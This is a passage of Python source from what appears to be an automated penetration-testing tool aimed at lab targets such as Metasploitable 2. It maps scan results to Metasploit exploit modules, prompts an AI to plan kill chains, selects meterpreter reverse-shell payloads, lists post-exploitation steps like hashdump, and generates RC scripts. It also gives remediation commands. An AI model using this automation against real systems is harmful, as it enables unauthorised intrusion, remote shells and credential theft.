                   "# Restrict to localhost:", "vncserver -localhost"],
        "windows": ["# Set strong VNC password", "# Use VPN or SSH tunnel for remote access"],
    },
}


def _rule_based_analysis(scan_data: dict) -> dict:
    """Fallback: analyse scan data with hardcoded rules when no AI is available."""
    result = {
        "reasoning": "[RULE-BASED] No AI provider responded — using built-in exploit database.",
        "exploits": [],
        "web_scans": [],
        "remediation": [],
        "post_exploitation": [],
    }

    ports = scan_data.get("ports", [])
    nse_results = scan_data.get("nse_results", {})
    cve_data = scan_data.get("cve_data", {})

    for port_info in ports:
        port = int(port_info.get("port", 0))
        service = port_info.get("service", "").lower()
        version = port_info.get("version", "").lower()
        banner = f"{service} {version}"

        if port in EXPLOIT_DB:
            entry = EXPLOIT_DB[port]
            for mod in entry["modules"]:
                nse_str = str(nse_results.get(str(port), ""))
                # Match against banner (service+version), NSE output, OR service name alone
                # This ensures Metasploitable 2 services match even when version isn't detected
                matched = (
                    re.search(mod["match"], banner, re.IGNORECASE) or
                    re.search(mod["match"], nse_str, re.IGNORECASE) or
                    re.search(mod["match"], entry["service"], re.IGNORECASE)
                )
                if matched:
                    result["exploits"].append({
                        "port": port,
                        "service": service or entry["service"],
                        "module": mod["module"],
                        "payload": mod["payload"],
                        "needs_lhost": mod.get("needs_lhost", bool(mod["payload"])),
                        "reason": mod["reason"],
                        "priority": "critical" if any(
                            float(c.get("cvss", c.get("score", 0)) or 0) >= 9.0
                            for c in cve_data.get(str(port), [])
                        ) else "high",
                    })

        if port in (80, 443, 8080, 8443, 8180, 8888) or "http" in service:
            result["web_scans"].append({"port": port, "tool": "nikto", "reason": f"HTTP service on port {port}"})
            if "wordpress" in banner or "wp" in str(nse_results.get(str(port), "")):
                result["web_scans"].append({"port": port, "tool": "wpscan", "reason": "WordPress detected"})

        svc_key = service.split("/")[0] if "/" in service else service
        for db_key, rem in REMEDIATION_DB.items():
            if db_key in svc_key or db_key in banner:
                port_cves = [c.get("id", "") for c in cve_data.get(str(port), [])]
                result["remediation"].append({
                    "port": port,
                    "service": service,
                    "cves": port_cves,
                    "linux_commands": rem["linux"],
                    "windows_commands": rem["windows"],
                    "explanation": f"Remediation for {service} on port {port}",
                })
                break

    if result["exploits"]:
        result["post_exploitation"] = [
            {"action": "hashdump", "reason": "Extract password hashes"},
            {"action": "sysinfo", "reason": "Gather system information"},
            {"action": "ifconfig/ipconfig", "reason": "Identify network interfaces for pivoting"},
        ]

    return result


# ---------------------------------------------------------------------------
# Main Analysis Function
# ---------------------------------------------------------------------------

def analyse_scan(scan_data: dict, emit_fn=None) -> dict:
    """
    Analyse scan results using AI or rule-based fallback.
    This is the main brain of the dynamic decision engine.
    """
    def emit(msg):
        if emit_fn:
            emit_fn(msg)
        logger.info(msg)

    provider = AI_PROVIDER if AI_PROVIDER != "none" else "none"
    emit(f"[MCP] AI Provider: {provider} | Gemini: {'YES' if GEMINI_API_KEY else 'NO'} | "
         f"Anthropic: {'YES' if ANTHROPIC_API_KEY and ANTHROPIC_API_KEY != 'notset' else 'NO'}")

    # Build compact prompt
    compact_nse = {}
    for key, val in scan_data.get('nse_results', {}).items():
        if isinstance(val, str):
            lines = val.splitlines()
        elif isinstance(val, list):
            lines = val
        else:
            continue
        vuln_lines = [l.strip() for l in lines if any(kw in l.lower() for kw in
            ["vulnerable", "cve-", "backdoor", "exploit", "anonymous", "heartbleed",
             "ms17-010", "ms08-067", "shellshock", "poodle", "eternalblue", "empty password",
             "brute", "injection", "unauthorized", "open relay", "directory listing"])]
        if vuln_lines:
            compact_nse[key] = vuln_lines[:5]

    compact_cves = {}
    for key, cves in scan_data.get('cve_data', {}).items():
        if isinstance(cves, list):
            compact_cves[key] = [{"id": c.get("id", ""), "cvss": c.get("score") or c.get("cvss", 0)}
                                 for c in cves[:5]]

    prompt = f"""Analyse this pentest scan and respond with ONLY a JSON object. Keep it concise.

TARGET: {scan_data.get('target', 'unknown')}

SERVICES:
{json.dumps(scan_data.get('ports', []), indent=1)}

NSE VULNERABILITIES FOUND:
{json.dumps(compact_nse, indent=1) if compact_nse else "None detected"}

CVEs:
{json.dumps(compact_cves, indent=1) if compact_cves else "None found"}

LHOST: {scan_data.get('lhost', '10.0.2.15')} | LPORT: {scan_data.get('lport', 4445)}

IMPORTANT RULES FOR EXPLOITS:
- vsftpd_234_backdoor: needs_lhost=false, payload="" (backdoor opens port 6200)
- proftpd_133c_backdoor: needs_lhost=false, payload="" (backdoor)
- usermap_script (Samba): needs_lhost=false, payload="" (bind shell)
- is_known_pipename: needs_lhost=false, payload="" (bind shell)
- Reverse shell exploits: needs_lhost=true, choose correct payload

Respond with JSON only. Keep each exploit/remediation entry brief. Max 10 exploits, 10 remediations.
"""

    # Try AI first
    ai_response = call_ai(prompt)

    if ai_response:
        emit(f"[MCP:{provider.upper()}] Received AI analysis")
        parsed = _parse_json(ai_response)
        if parsed and ("exploits" in parsed or "remediation" in parsed):
            emit(f"[MCP:{provider.upper()}] {parsed.get('reasoning', 'Analysis complete')[:200]}")
            parsed.setdefault("reasoning", "AI analysis complete")
            parsed.setdefault("exploits", [])
            parsed.setdefault("web_scans", [])
            parsed.setdefault("remediation", [])
            parsed.setdefault("post_exploitation", [])

            # Sanitize exploit entries — enforce backdoor rules
            for exp in parsed["exploits"]:
                module = exp.get("module", "")
                if module in NO_PAYLOAD_MODULES:
                    exp["payload"] = ""
                    exp["needs_lhost"] = False
                elif exp.get("payload") == "cmd/unix/interact":
                    exp["payload"] = ""
                    exp["needs_lhost"] = False

            return parsed
        else:
            emit(f"[MCP:{provider.upper()}] Could not parse AI response — falling back to rules")

    # Fallback to rule-based
    emit("[MCP:RULES] Using built-in exploit database (no AI key or AI failed)")
    result = _rule_based_analysis(scan_data)
    emit(f"[MCP:RULES] Found {len(result['exploits'])} exploits, {len(result['web_scans'])} web scans, "
         f"{len(result['remediation'])} remediations")
    return result


# ---------------------------------------------------------------------------
# Attack Chain Analysis
# ---------------------------------------------------------------------------

def analyse_attack_chain(scan_data: dict, auth_results: dict = None, emit_fn=None) -> dict:
    """
    Build a kill chain from scan data + auth results.
    Returns step-by-step attack path with impact assessment.
    """
    def emit(msg):
        if emit_fn:
            emit_fn(msg)
        logger.info(msg)

    prompt = f"""Build a penetration test attack chain (kill chain) from this data.

SERVICES:
{json.dumps(scan_data.get('ports', [])[:15], indent=1)}

NSE FINDINGS (vulnerability indicators only):
{json.dumps({k: v[:3] if isinstance(v, list) else str(v)[:200] for k, v in list(scan_data.get('nse_results', {}).items())[:8]}, indent=1)}

CVE DATA:
{json.dumps({k: [{"id": c.get("id",""), "cvss": c.get("score",0)} for c in v[:3]] for k, v in list(scan_data.get('cve_data', {}).items())[:8]}, indent=1)}

AUTH RESULTS: {json.dumps(auth_results, indent=1)[:500] if auth_results else "No authenticated scan performed"}

TARGET: {scan_data.get('target', 'unknown')}

Respond with ONLY JSON:
{{
  "chain": [
    {{
      "step": 1,
      "phase": "Initial Access",
      "action": "Exploit vsftpd 2.3.4 backdoor on port 21",
      "module": "exploit/unix/ftp/vsftpd_234_backdoor",
      "success_likelihood": "high",
      "impact": "Remote shell as root"
    }},
    {{
      "step": 2,
      "phase": "Privilege Escalation",
      "action": "Check SUID binaries for escalation",
      "module": "manual",
      "success_likelihood": "medium",
      "impact": "Root access"
    }}
  ],
  "max_impact": "Full system compromise — root shell + credential access",
  "detection_likelihood": "low",
  "recommended_order": "FTP backdoor → credential harvest → lateral movement",
  "lateral_movement": "Check for dual-homed interfaces and credential reuse"
}}"""

    result = call_ai(prompt)
    if result:
        parsed = _parse_json(result)
        if parsed and "chain" in parsed:
            emit(f"[AI-CHAIN] Built {len(parsed['chain'])} step attack chain")
            return parsed

    # Rule-based fallback chain
    emit("[AI-CHAIN] Using rule-based attack chain")
    chain = []
    step = 1
    ports = scan_data.get("ports", [])

    for p in ports:
        port = str(p.get("port", ""))
        service = p.get("service", "").lower()
        version = p.get("version", "").lower()

        if "vsftpd 2.3.4" in version:
            chain.append({"step": step, "phase": "Initial Access",
                         "action": f"Exploit vsftpd 2.3.4 backdoor on port {port}",
                         "module": "exploit/unix/ftp/vsftpd_234_backdoor",
                         "success_likelihood": "high", "impact": "Remote shell"})
            step += 1
        elif "samba 3.0" in version:
            chain.append({"step": step, "phase": "Initial Access",
                         "action": f"Exploit Samba usermap_script on port {port}",
                         "module": "exploit/multi/samba/usermap_script",
                         "success_likelihood": "high", "impact": "Remote shell as root"})
            step += 1
        elif "http" in service:
            chain.append({"step": step, "phase": "Reconnaissance",
                         "action": f"Web vulnerability scan on port {port}",
                         "module": "nikto + sqlmap",
                         "success_likelihood": "medium", "impact": "Web vulnerabilities"})
            step += 1

    if not chain:
        chain.append({"step": 1, "phase": "Reconnaissance",
                     "action": "No high-confidence exploits — enumerate further",
                     "module": "manual", "success_likelihood": "low",
                     "impact": "Information gathering"})


    return {
        "chain": chain,
        "max_impact": "Depends on exploitable services found",
        "detection_likelihood": "medium",
        "recommended_order": "Backdoors first, then RCE, then brute-force",
        "lateral_movement": "Check for credential reuse and dual-homed hosts",
    }


# ---------------------------------------------------------------------------
# Payload Selection
# ---------------------------------------------------------------------------

_NO_PAYLOAD = {
    "exploit/unix/ftp/vsftpd_234_backdoor",
    "exploit/unix/ftp/proftpd_133c_backdoor",
    "exploit/multi/samba/usermap_script",
    "exploit/linux/samba/is_known_pipename",
    "exploit/unix/irc/unreal_ircd_3281_backdoor",
}


def select_payload(module: str, os_guess: str = "", arch: str = "") -> dict:
    """Select the best payload for a given Metasploit module + OS/arch combo."""
    if module in _NO_PAYLOAD:
        return {"payload": "", "needs_lhost": False}
    if module.startswith("auxiliary/"):
        return {"payload": "", "needs_lhost": False}
    os_l   = os_guess.lower()
    arch_l = arch.lower()
    is_win  = "windows" in os_l or "microsoft" in os_l
    is_java = any(k in module for k in ("java", "tomcat", "rmi"))
    is_php  = any(k in module for k in ("php", "drupal", "wordpress"))
    if is_win:
        if "x64" in arch_l or "64" in arch_l:
            return {"payload": "windows/x64/meterpreter/reverse_tcp", "needs_lhost": True}
        return {"payload": "windows/meterpreter/reverse_tcp", "needs_lhost": True}
    if is_java:
        return {"payload": "java/meterpreter/reverse_tcp", "needs_lhost": True}
    if is_php:
        return {"payload": "php/meterpreter/reverse_tcp", "needs_lhost": True}
    if "postgres" in module:
        return {"payload": "cmd/unix/reverse_perl", "needs_lhost": True}
    if any(k in module for k in ("distcc", "drb", "modcopy", "proftpd")):
        return {"payload": "cmd/unix/reverse_perl", "needs_lhost": True}
    return {"payload": "linux/x86/meterpreter/reverse_tcp", "needs_lhost": True}


def generate_rc_script(module: str, target: str, port: str,
                       lhost: str, lport: int,
                       payload: str = "", needs_lhost: bool = True) -> str:
    """Legacy wrapper — delegates to generate_rc_script_v2."""
    return generate_rc_script_v2(
        exploit_info={"module": module, "payload": payload, "port": port, "service": ""},
        target=target, lhost=lhost, lport=lport,
    )


def generate_rc_script_v2(exploit_info: dict, target: str,
                           lhost: str = "0.0.0.0", lport: int = 4445,
                           os_guess: str = "", arch: str = "") -> str:
    """Generate an OS/arch-aware Metasploit RC script.

    Rules:
    - Backdoor modules (vsftpd, samba usermap, unreal): no payload, no LHOST
    - Auxiliary modules: no payload, no LHOST, no ExitOnSession
    - Exploit modules with reverse shell: payload + LHOST + LPORT + ExitOnSession false
    """
    module    = exploit_info.get("module", "")
    given_pay = exploit_info.get("payload", "")
    port      = str(exploit_info.get("port", ""))

    is_backdoor  = module in _NO_PAYLOAD
    is_auxiliary = module.startswith("auxiliary/")

    bad_payloads = {"cmd/unix/interact", "cmd/linux/http/x86/meterpreter/reverse_tcp"}

    if is_backdoor or is_auxiliary:
        payload     = ""
        needs_lhost = False
    elif given_pay and given_pay not in bad_payloads:
        payload     = given_pay
       